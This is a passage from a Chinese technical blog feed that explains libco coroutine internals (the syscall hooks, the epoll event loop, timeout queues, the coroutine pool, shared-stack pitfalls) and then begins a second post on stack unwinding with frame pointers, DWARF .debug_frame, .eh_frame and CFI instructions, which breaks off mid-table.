&lt;p&gt;  图2.2.2.3.1所示为libco自定义connect函数片段。如果用户启用hook，且未设置O_NONBLOCK，libco悄悄帮用户设置了O_NONBLOCK，但调用connect后不能立即返回，因为connect有三次握手的过程，内核中对三次握手的超时限制是75秒，超时则会失败。libco设置O_NONBLOCK后，立即调用系统connect可能会失败，因此在图2.2.2.3.1中循环三次，每次设置超时时间25秒，然后挂起协程，等待connect成功或超时。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-connect-hook-code.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.2.3.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-2-3-1.png&quot;&gt;图2.2.2.3.1&lt;&#x2F;a&gt;#### 2.2.3 epoll激活协程&lt;&#x2F;p&gt;
&lt;p&gt;  协程hook住了底层socket族函数，设置了O_NONBLOCK，调用socket族函数后，调用poll注册epoll事件并挂起协程，让其他协程执行，所有协程都挂起后通过epoll，在主协程里检查注册的IO事件，若就绪或超时则切到对应协程。&lt;&#x2F;p&gt;
&lt;p&gt;  poll最终会调进co_poll_inner，图2.2.3.1、图2.2.3.2分别为co_poll_inner函数上、下部分。该函数的参数ctx为epoll的环境变量，包含： epoll描述符iEpollFd，超时队列pTimeOut，已超时队列pstTimeoutList，就绪队列pstActiveList，epoll_wait就绪事件集合result。其余参数fds为socket文件描述符集合，nfds为socket文件描述符数目，timeout超时时间，pollfunc为系统poll函数。&lt;&#x2F;p&gt;
&lt;p&gt;  第908行epfd是epoll_create创建的epoll描述符，相当于红黑树、就绪链表的标识，后文通过epfd管理所有fd。919到927行是在nfds少于3个时直接在栈上分配空间（更快），否则在堆上分配。第930行记录就绪fd的回调函数OnPollProcessEvent，该回调函数会切回对应的协程。第940行记录切回协程之前的预处理函数OnPollPreparePfn。第948行将每个fd通过epoll_ctl加入红黑树。第968行将arg加入超时队列pTimeOut，在980行挂起协程。等到所有协程均挂起，主协程开始运行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-read-hook-epoll-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.3.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-3-1.png&quot;&gt;图2.2.3.1&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-co-eventloop.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.3.2&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-3-2.png&quot;&gt;图2.2.3.2&lt;&#x2F;a&gt;  图2.2.3.3为主协程调用的co_eventloop函数片段。co_epoll_wait找出所有就绪fd，调用pfnPrepare即OnPollPreparePfn，将就绪fd从超时队列pTimeOut移除，并加入就绪队列pstActiveList。801行用不到。TakeAllTimeout拿出超时队列里所有超时元素，并在第817行加入pstActiveList。824行到833行将807行取出的未超时事件再加回超时队列，因为TakeAllTimeout拿出的不一定都是超时事件，超时队列底层实现是60000大小的循环数组，存放每毫秒（共60000毫秒）的超时事件，每个数组的元素均是一条链表，循环数组的目的是便于通过下标找到所有超时链表。例如超时时间是10毫秒的所有事件均记录在数组下标为9（在循环数组实际的下标可能不是9，仅举个例子）的链表里，所有超时时间大于60000毫秒的事件均记录在数组下标为59999的链表里。如果取出超时时间是60000毫秒的事件，TakeAllTimeout会把超时时间大于60000毫秒的也取出来，因此需要再把超时时间大于60000毫秒的重新加回超时队列。在第836行是在协程超时或fd就绪时调用pfnProcess即OnPollProcessEvent切回协程。协程切回后，由上文2.1.2可知，协程接着co_yield_env里co_swap里的stCoRoutineEnv_t* curr_env = co_get_curr_thread_env()继续执行，co_yield_env执行完后从图2.2.3.2的第981行继续执行。第986行应该是多余的，因为pfnPrepare已经从超时队列删除事件。992行调用epoll删除当前协程的就绪fd。&lt;&#x2F;p&gt;
&lt;p&gt;  注意到co_poll_inner传入的fd数组，而arg只是链表中的一个元素。假设co_poll_inner传入10个文件描述符，如果只有1个fd就绪，OnPollPreparePfn从pTimeOut删除arg，则10个文件fd都从超时队列删除，在图2.2.3.2切回协程时在第987到995行将10个描述符都从红黑树删除，然后应用层需要将9个未就绪的fd重新调用co_poll_inner再加入红黑树。如果每次只就绪一个fd，这样共需要加入红黑树：10 + 9+ 8 +… +1次，效率低于10次poll，每次只poll一个fd。co_poll_inner提供传入fd数组的原因是，co_poll_inner是poll调用的，而poll是hook的系统函数，不能改变系统的语义。系统poll支持数组的原因是，调用系统poll一次，可检查多个fd，比调用系统poll多次，每次检查一个fd，效率更高。因此系统poll适合一次poll多个fd，但libco自定义的钩子函数poll不适合一次poll多个fd，所以libco使用poll时需避免一次poll多个fd。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-poll-hook-fd-array.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.3.3&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;2-2-3-3.png&quot;&gt;图2.2.3.3&lt;&#x2F;a&gt;#### 2.2.4 信号量激活协程&lt;&#x2F;p&gt;
&lt;p&gt;  libco提供信号量机制，类似golang的channel。example_cond.cpp举了生产者和消费者的例子，一个协程做生产者，另一个做消费者，生产者产生数据后，唤醒消费者。&lt;&#x2F;p&gt;
&lt;p&gt;  主协程首先创建消费者协程，并通过co_resume切换到消费者协程函数Consumer，co_resume会调用到coctx_swap保存主协程的栈内容，并将消费者协程初始化在regs里的esp、ebp、返回地址等数据弹到寄存器和消费者协程栈里，此时开始调度消费者协程。Consumer在检查到task_queue为空时，将消费者协程通过co_cond_timedwait，加入超时队列pTimeout，并加入信号量队列env-&amp;gt;cond，然后通过co_yield_ct切换回主协程，co_yield_ct调用到coctx_swap函数，保存消费者协程，并恢复主协程。主协程接着创建生产者协程，通过co_resume切换到生产者协程。生产者协程函数Producer在task_queue里添加数据后，通过co_cond_signal从pTimeOut、env-&amp;gt;cond里删掉消费者协程，并加入就绪队列pstActiveList，然后通过poll挂起将生产者协程加入超时队列pTimeout，并在co_poll_inner通过co_yield_env切回到主协程。主协程在co_eventloop遍历就绪队列pstActiveList，调度消费者协程消费task_queue里数据。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-5-chao-shi-ji-huo-xie-cheng&quot;&gt;2.2.5 超时激活协程&lt;&#x2F;h4&gt;
&lt;p&gt;  当前协程通过语句poll(NULL, 0, duration)，可设置协程的超时时间间隔duration。poll是被hook住的函数，执行poll之后，当前协程会被加到超时队列pTimeOut，并被切换到其他协程，所有协程挂起后，主协程扫描超时队列，找到超时的协程，并切换。因此可用poll实现协程的睡眠。注意不可用sleep，因为sleep会睡眠线程，线程睡眠了，协程无法被调度，所有的协程也都不会执行了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-6-hui-diao-ji-huo-xie-cheng&quot;&gt;2.2.6 回调激活协程&lt;&#x2F;h4&gt;
&lt;p&gt;  使用libco需要hook住socket族函数，但业务代码一般使用现成的非libco网络库，如果改该网络库使其hook住socket族函数，工作量太大。因此业务侧可在协程里异步调用，异步调用后挂起协程，所有的异步回调使用同一函数，在同一回调函数里，根据异步调用时的标记决定唤醒哪个协程。该方案也可做到不分离异步调用和处理异步调用返回的数据。但需要业务侧添加一个统一的异步回调函数，并在该函数里根据标识调度协程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-xie-cheng-chi&quot;&gt;2.3 协程池&lt;&#x2F;h3&gt;
&lt;p&gt;  协程池的好处是不用每次使用协程时都创建新的协程。创建新协程主要开销有两个：一，需要malloc协程环境stCoRoutine_t，stCoRoutine_t有4K大小的协程私有变量数组；二，协程栈128K。每次创建新的协程要分配这么大的空间需要有时间开销，另外频繁申请、销毁会导致内存碎片的产生。即使在共享栈模式下不用为每个协程申请协程栈，也会有第一部分stCoRoutine_t的开销。每次从协程池取出协程后，将stCoRoutine_t.pfn重新初始化为用户自定义的协程函数即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-xie-cheng-si-you-bian-liang&quot;&gt;2.4 协程私有变量&lt;&#x2F;h3&gt;
&lt;p&gt;  协程私有变量为每个协程独享，不会被其他协程修改，可参看example_specific.cpp。协程私有变量通过宏CO_ROUTINE_SPECIFIC定义，然后重载操作符-&amp;gt;实现set&#x2F;get。该宏首先定义线程私有变量，声明pthread_key_t类型的变量，并通过pthread_once_t保证pthread_key_t类型变量只被create一次。如果当前没有创建过协程，或者当前协程是主协程，则通过co_pthread_setspecific&#x2F;pthread_getspecific来set&#x2F;get线程私有变量。否则在当前协程的aSpec数组里set&#x2F;get协程私有变量，pthread_key_t类型的变量作为数组下标。&lt;&#x2F;p&gt;
&lt;p&gt;  pthread_once控制pthread_key_create在多线程环境中只会执行一次。_routine_init_##name控制一个线程的多个协程只会调用pthread_once一次，避免每次set、get变量时均调用pthread_once。&lt;&#x2F;p&gt;
&lt;p&gt;  因为协程私有变量需要重载操作符-&amp;gt;，因此CO_ROUTINE_SPECIFIC第一个参数必须为结构体或类。虽然aSpec有1024个容量，但通过pthread_key_create创建的key是从1开始，因此协程私有变量实际可容纳1023个元素。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-zhu-yi-shi-xiang&quot;&gt;3 注意事项&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-gong-xiang-zhan-xia-nei-rong-cuan-gai&quot;&gt;3.1 共享栈下内容篡改&lt;&#x2F;h3&gt;
&lt;p&gt;  图3.1.1所示代码，协程RoutineFuncA、RoutineFuncB共用一个共享栈。运行代码，第7行输出1，第14行输出2，但在第14行之前只在RoutineFuncA里将global_ptr指向的内容设置为1。原因是在RoutineFuncA里global_ptr指向routineidA的地址，而在RoutineFuncB里，因为是共享栈，所以routineidB和routineidA的地址一样，而该地址处的值被第13行修改为2，因此第14行打印出来2。所以共享栈模式下，需避免协程之前传递地址，因为地址的内容会被篡改。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;libco-coroutine&#x2F;libco-shared-stack-tamper.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图3.3.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;libco&#x2F;3-1-1.png&quot;&gt;图3.3.1&lt;&#x2F;a&gt;### 3.2 poll效率&lt;&#x2F;p&gt;
&lt;p&gt;  libco自定义的钩子函数poll，虽然支持传入fd数组，但一次poll多个fd的效率，不如多次poll每次poll一个fd的效率，原因见2.2.3。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-zhan-yi-chu&quot;&gt;3.3 栈溢出&lt;&#x2F;h3&gt;
&lt;p&gt;  每个协程栈使用128K的堆内存，128K是malloc使用brk和mmap分配堆内存的分界线。但128K的空间可能不够一个协程使用，导致协程栈溢出，以下有三种解决方案。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-3-1-dui-nei-cun&quot;&gt;3.3.1 堆内存&lt;&#x2F;h4&gt;
&lt;p&gt;  大内存不在协程栈上分配，通过malloc、new在堆上分配，可以使用编译参数-Wstack-usage检查使用较大栈空间的变量。另外栈以外空间的非法读写不一定会Crash，因此在128K协程栈上下添加保护页，并通过mprotect设置保护页权限，非法读写保护页时，程序会立即Crash，推荐使用该方案。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-3-2-zi-dong-kuo-rong-xie-cheng-zhan&quot;&gt;3.3.2 自动扩容协程栈&lt;&#x2F;h4&gt;
&lt;p&gt;  在协程调用的所有函数入口检查栈使用率，如果栈使用率超过阈值，就自动扩容协程栈。在进入函数时，声明一个临时变量，获取该变量的地址varaddr，因为协程栈空间高地址为stack_mem-&amp;gt;stack_bp，低地址为stack_mem-&amp;gt;stack_buffer，因此使用率为(stack_mem-&amp;gt;stack_bp - varaddr) &#x2F; (stack_mem-&amp;gt;stack_bp - stack_mem-&amp;gt;stack_buffer)。如果使用率超过阈值，重新申请大空间的新协程栈，并将旧协程栈拷贝到新协程栈。&lt;&#x2F;p&gt;
&lt;p&gt;  但如果协程函数里使用了指针，比如指针ptr指向旧协程栈内存地址0xffd344c0，栈拷贝后，访问ptr的内容仍然是访问旧协程栈0xffd344c0，导致非法访问。在协程函数里使用指针的概率很大，比如声明数组，因此该方案风险较大。&lt;&#x2F;p&gt;
&lt;p&gt;  golang支持协程栈的自动扩容，1.3之前是分段栈，即老栈保留，另外再开辟新栈，老栈新栈一起使用，超出老栈的数据用新栈保存。使用分段栈存在hot split问题，所以1.3及之后采用连续栈，老栈不够用时，申请大空间的新栈，并将老栈数据拷贝到新栈。拷贝老栈到新栈时，golang也面临指针失效的问题，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;agis.io&#x2F;post&#x2F;contiguous-stacks-golang&#x2F;&quot;&gt;原文参考&lt;&#x2F;a&gt;。 但golang的编译器会管理每个指针的位置，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.google.com&#x2F;document&#x2F;d&#x2F;13v_u3UrN2pgUtPnH4y-qfmlXwEEryikFu0SQiwk35SA&#x2F;pub&quot;&gt;原文参考&lt;&#x2F;a&gt;。只要知道每个指针在老栈的位置，算出相对协程栈顶偏移量，即可将指针迁移到新栈的位置。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Unwind 栈回溯详解</title>
        <published>2024-02-05T00:00:00+00:00</published>
        <updated>2024-02-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/unwind-栈回溯详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/unwind-栈回溯详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/unwind-栈回溯详解/">&lt;h1 id=&quot;unwind-zhan-hui-su-xiang-jie&quot;&gt;Unwind 栈回溯详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-li-shi-bei-jing&quot;&gt;1. 历史背景&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-frame-pointers&quot;&gt;1.1 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=frame&amp;amp;spm=1001.2101.3001.7020&quot;&gt;frame&lt;&#x2F;a&gt; pointers&lt;&#x2F;h3&gt;
&lt;p&gt;在调试的时候经常需要进行堆栈回溯。最简单的方式是使用一个独立的寄存器(ebp)来保存每层函数调用的堆栈栈顶(frame pointer)：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;pushl％ebp
movl％esp，％ebp
...
popl％ebp
ret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;x86_64的frame point模式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;x86-64-frame-pointer-mode.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;arm64的frame point模式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;arm64-frame-pointer-mode.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这种方式在堆栈回溯时非常方便快捷。但是这种方法也有自己的不足：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;需要一个专门寄存器ebp来保存frame poniter。&lt;&#x2F;li&gt;
&lt;li&gt;保存ebp寄存器即保存回溯信息(unwind info)的动作会被编译成代码，有指令开销。&lt;&#x2F;li&gt;
&lt;li&gt;在回溯堆栈时，除了恢复sp，不知道怎么恢复其他的寄存器。(例如gdb中的 frame n, info reg)&lt;&#x2F;li&gt;
&lt;li&gt;没有源语言信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-debug-frame-dwarf&quot;&gt;1.2 .debug_frame (DWARF)&lt;&#x2F;h3&gt;
&lt;p&gt;调试信息标准&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF(Debugging With Attributed Record Formats)&lt;&#x2F;a&gt;定义了一个&lt;code&gt;.debug_frame&lt;&#x2F;code&gt; section用来解决上述的难题。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以把ebp当成常规寄存器使用。&lt;&#x2F;li&gt;
&lt;li&gt;但是当保存esp时，它必须在.debug_frame节中产生一条注释，告知调试器它将其保存在什么位置以及存放在何处。&lt;&#x2F;li&gt;
&lt;li&gt;这种机制还有的好处是它不仅仅是用来恢复ebp，还可以用来恢复其他寄存器。&lt;&#x2F;li&gt;
&lt;li&gt;而且是&lt;code&gt;带外&lt;&#x2F;code&gt;的，不消耗任何指令周期，没有任何性能开销。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这种机制也有其不足：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;没有源语言信息。&lt;&#x2F;li&gt;
&lt;li&gt;不支持在程序加载时同时加载调试信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-eh-frame-lsb&quot;&gt;1.3 .eh_frame (LSB)&lt;&#x2F;h3&gt;
&lt;p&gt;现代Linux操作系统在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxfoundation.org&#x2F;LSB_5.0.0&#x2F;LSB-Core-generic&#x2F;LSB-Core-generic&#x2F;ehframechpt.html&quot;&gt;LSB(Linux Standard Base)&lt;&#x2F;a&gt;标准中定义了一个&lt;code&gt;.eh_frame&lt;&#x2F;code&gt; section来解决上述的难题。这个section和&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;非常类似，但是它解决了上述难题：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;拥有源语言信息。&lt;&#x2F;li&gt;
&lt;li&gt;编码紧凑，并随程序一起加载。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但是&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;和&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;同时面临一个难题：怎么样生成堆栈信息表？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-cfi-directives&quot;&gt;1.4 CFI directives&lt;&#x2F;h3&gt;
&lt;p&gt;为了解决上述难题，GAS(GCC Assembler)汇编编译器定义了一组伪指令来协助生成调用栈信息&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs-2.31&#x2F;as&#x2F;CFI-directives.html&quot;&gt;CFI(Call Frame Information)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;CFI directives&lt;&#x2F;code&gt;伪指令是一组生成CFI调试信息的高级语言，它的形式类似于：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;f：
.cfi_startproc
pushl％ebp
.cfi_def_cfa_offset 8
.cfi_offset ebp，-8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关于汇编器利用这些伪指令来生成&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;还是&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;，在&lt;code&gt;.cfi_sections&lt;&#x2F;code&gt;指令中定义。如果只是调试需求可以生成&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;，如果需要在运行时调用需要生成&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-debug-frame-dwarf-xiang-jie&quot;&gt;2. .debug_frame (DWARF) 详解&lt;&#x2F;h2&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF&lt;&#x2F;a&gt;&lt;code&gt;6.4 Call Frame Information&lt;&#x2F;code&gt;一节详细的描述了调用栈帧的定义。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-call-frame-table&quot;&gt;2.1 Call Frame Table&lt;&#x2F;h3&gt;
&lt;p&gt;抽象的说，整个栈帧计算机制的核心是一张大表：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;dwarf-call-frame-table.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以使用&lt;code&gt;readelf -wF xxx&lt;&#x2F;code&gt;命令来查看通过elf文件中的&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;解析出来的这张表：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ readelf -wF a.out

...

   LOC           CFA      rbx   rbp   r12   r13   r14   r15   ra
00000000000006b0 rsp+8    u     u     u     u     u     u     c-8
00000000000006b2 rsp+16   u     u     u     u     u     c-16  c-8
00000000000006b4 rsp+24   u     u     u     u     c-24  c-16  c-8
00000000000006b9 rsp+32   u     u     u     c-32  c-24  c-16  c-8
00000000000006bb rsp+40   u     u     c-40  c-32  c-24  c-16  c-8
00000000000006c3 rsp+48   u     c-48  c-40  c-32  c-24  c-16  c-8
00000000000006cb rsp+56   c-56  c-48  c-40  c-32  c-24  c-16  c-8
00000000000006d8 rsp+64   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070a rsp+56   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070b rsp+48   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070c rsp+40   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070e rsp+32   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000710 rsp+24   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000712 rsp+16   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000714 rsp+8    c-56  c-48  c-40  c-32  c-24  c-16  c-8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这张表的结构设计如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1、第一列。表示程序中包含代码的每个位置的地址。（在共享对象中，这是一个相对于对象的偏移量。）其余的列包含与指示的位置关联的虚拟展开规则。&lt;&#x2F;li&gt;
&lt;li&gt;2、CFA列。定义了计算规范帧地址值(Canonical Frame Address)的规则；它可以是寄存器(register)和带符号的偏移量(signed offset)加在一起，也可以是DWARF表达式(DWARF expression)的求值。&lt;&#x2F;li&gt;
&lt;li&gt;3、其余列。由寄存器编号标记。 其中包括一些在某些架构上具有特殊名称的寄存器，例如PC和堆栈指针寄存器。 （用于特定体系结构的寄存器的实际映射由扩充器定义。）寄存器列包含规则用来描述是否已保存给定寄存器以及在上一帧中查找寄存器值的规则。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果按上述说明实际构建，此表将非常大。 该表中任何位置的大多数条目与它们上方的条目相同。通过仅记录从程序中每个子例程的起始地址开始的差异，可以非常紧凑地表示整个表。&lt;&#x2F;p&gt;
&lt;p&gt;虚拟展开信息被编码在称为&lt;code&gt;.debug_frame&lt;&#x2F;code&gt;的独立部分中。 &lt;code&gt;.debug_frame&lt;&#x2F;code&gt;节中的条目相对于该节的开头按地址大小的倍数对齐，并以两种形式出现：公共信息条目（CIE）和帧描述条目（FDE）。&lt;&#x2F;p&gt;
&lt;p&gt;如果某个函数的代码地址范围不连续，则可能有多个CIE和FDE与该功能的各个部分相对应。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;call-frame-table-cie-fde.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CIE和FDE的定义在&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;一节会详细描述，这里就不展开。本节重点关注CFA指令的解析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-call-frame-instructions&quot;&gt;2.2 Call Frame Instructions&lt;&#x2F;h3&gt;
&lt;p&gt;上一节说明栈帧回溯的核心是一张大表，而这个表的&lt;code&gt;行(Row)&lt;&#x2F;code&gt;和&lt;code&gt;列(Column)&lt;&#x2F;code&gt;最后都是靠CIE和FDE中的指令填充起来的。&lt;&#x2F;p&gt;
&lt;p&gt;这些指令主要分为以下几大类：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1、Row Creation Instructions&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本类的指令会确定一个新的Location(PC)值，相当于在表中创建新的一&lt;code&gt;行(Row)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Instructions&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_set_loc&lt;&#x2F;td&gt;&lt;td&gt;Location = AddressDW_CFA_set_loc指令采用单个操作数代表目标地址。&lt;br &#x2F;&gt;所需的操作是使用指定位置的地址来创建新的表行。 新行中的所有其他值最初都与当前行相同。 新位置值始终大于当前位置值。&lt;br &#x2F;&gt;如果此FDE的CIE的segment_size字段不为零，则在初始位置之前是给定长度的段选择器。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_set_loc instruction takes a single operand that represents a target address. The required action is to create a new table row using the specified address as the location. All other values in the new row are initially identical to the current row. The new location value is always greater than the current one. If the segment_size field of this FDE&#x27;s CIE is non-zero, the initial location is preceded by a segment selector of the given length.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc&lt;&#x2F;td&gt;&lt;td&gt;Location += (delta * code_alignment_factor)DW_CFA_advance指令采用单个操作数（和操作码一起编码），该操作数表示常数增量。&lt;br &#x2F;&gt;所需的操作是使用位置值创建一个新表行，该位置值是通过获取当前条目的位置值并加上“ delta * code_alignment_factor”的值来计算的。 新行中的所有其他值最初都与当前行相同。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_advance instruction takes a single operand (encoded with the opcode) that represents a constant delta. The required action is to create a new table row with a location value that is computed by taking the current entry’s location value and adding the value of `delta * code_alignment_factor`. All other values in the new row are initially identical to the current row.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc1&lt;&#x2F;td&gt;&lt;td&gt;Location += (delta * code_alignment_factor)DW_CFA_advance_loc1指令采用一个表示常量增量的单个`ubyte`操作数。&lt;br &#x2F;&gt;除了增量操作数的编码和大小外，该指令与DW_CFA_advance_loc相同。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_advance_loc1 instruction takes a single ubyte operand that represents a constant delta. This instruction is identical to DW_CFA_advance_loc except for the encoding and size of the delta operand.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_advance_loc2&lt;&#x2F;td&gt;&lt;td&gt;Location += (delta * code_alignment_factor)DW_CFA_advance_loc2指令采用单个`uhalf`操作数表示常数增量。&lt;br &#x2F;&gt;除了增量操作数的编码和大小外，该指令与DW_CFA_advance_loc相同。&lt;&#x2F;td&gt;&lt;td&gt;The DW_CFA_advance_loc2 instruction takes a single uhalf operand that represents a constant delta. This instruction is identical to DW_CFA_advance_loc except for the encoding and size of the delta operand.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
